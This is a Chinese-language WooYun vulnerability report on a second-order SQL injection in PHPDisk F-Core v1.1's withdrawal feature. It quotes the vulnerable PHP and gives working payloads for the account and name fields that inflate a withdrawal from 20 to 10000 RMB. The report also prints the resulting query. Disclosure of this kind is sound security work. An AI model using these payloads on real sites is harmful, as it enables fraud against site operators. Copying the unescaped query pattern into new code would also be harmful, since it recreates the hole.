当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070527

漏洞标题:PHPDisk F-Core v1.1 二次注入分分钟变土豪

相关厂商:phpdisk.com

漏洞作者: 飞扬风

提交时间:2014-08-01 16:54

修复时间:2014-10-30 16:56

公开时间:2014-10-30 16:56

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-08: 细节向第三方安全合作伙伴开放
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

少量投资即可发家致富
PHPDisk为您办到~

详细说明:

该套系统可以进行提现到支付宝或财付通的操作
提现时帐户信息直接从数据库中提取后又写入体现记录中,导致二次注入
代码主要是在\modules\profile.inc.php,第194行左右

case 'income':
$same_pwd = @$db->result_first("select count(*) from {$tpf}users where password=income_pwd and userid='$pd_uid'");
$rs = $db->fetch_one_array("select * from {$tpf}users where userid='$pd_uid'");
if($rs){
$wealth_lost = $rs['wealth_lost'] ? (int)$rs['wealth_lost'] : ($settings['wealth_lost'] ? (int)$settings['wealth_lost'] : 0);
$wealth = $rs['wealth'];
$income_account = $rs['income_account']; //直接提取
$income_name = $rs['income_name']; //直接提取
$income_type = $rs['income_type'];
$income_type_txt = $arr[$income_type];
......中间省略......
if(!$error){
$ins = array(
'order_number' => get_order_number(),
'income_account' => $income_account,
'income_name' => $income_name,
'income_type' => $income_type,
'o_status' => 'pendding',
'userid' => $pd_uid,
'money' => $money,
'ip' => $onlineip,
'in_time' => $timestamp,
);echo "insert into {$tpf}income_orders set ".$db->sql_array($ins)."";
$db->query_unbuffered("insert into {$tpf}income_orders set ".$db->sql_array($ins).""); //注入点
$db->query_unbuffered("update {$tpf}users set wealth=$now_wealth where userid='$pd_uid'");
$sysmsg[] = __('add_income_order_success');
redirect('back',$sysmsg);
}else{
redirect('back',$sysmsg);
}
}else{
$curr_credit_rate = $myinfo[credit_rate] ? exp_credit_rate($myinfo[credit_rate]) : (($settings[how_downs_credit] && $settings[how_money_credit]) ? $settings[how_downs_credit].'==¥'.$settings[how_money_credit] : '');
$freeze_money = @$db->result_first("select sum(money) from {$tpf}income_orders where userid='$pd_uid' and o_status='pendding'");
$freeze_money = $freeze_money ? '<span class="txtgray">('.__('incoming').':¥'.$freeze_money.')</span>' : '';
$my_downlines = @$db->result_first("select count(*) from {$tpf}buddys where userid='$pd_uid'");
require_once template_echo('profile',$user_tpl_dir);
}
break;


$rs['income_name']和$rs['income_account']两个字段都可以利用
不过这两个字段设置时都有限制,50字符最多,因此要把两个字段综合起来才好构造注入

漏洞证明:

由于是跟返现相关的注入,那就直接构造一大笔钱的返现来证明
例如,测试帐号中只有60RMB

QQ截图20140731225512.jpg


来个提现60000元试试
首先设置
收入帐户为*/income_name='test',money=10000,ip=1,in_time=1#,即account
姓名为1',income_type=1,o_status=1,userid=2,/*,即name

QQ截图20140731225600.jpg


然后进行提现,填对就可以了

QQ截图20140731225813.jpg


提现时执行的语句是这样的

insert into pd_income_orders set `order_number`='20140731230129482338', `income_account`='1',income_type=1,o_status=1,userid=2,/*', `income_name`='*/income_name='test',money=10000,ip=1,in_time=1#', `income_type`='alipay', `o_status`='pendding', `userid`='2', `money`='20', `ip`='1.1.1.1', `in_time`='1406818889'


看下提现记录,直接变土豪了~

QQ截图20140731230251.jpg


修复方案:

注意二次注入的问题~

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-05 16:57

厂商回复:

感谢反馈

最新状态:

暂无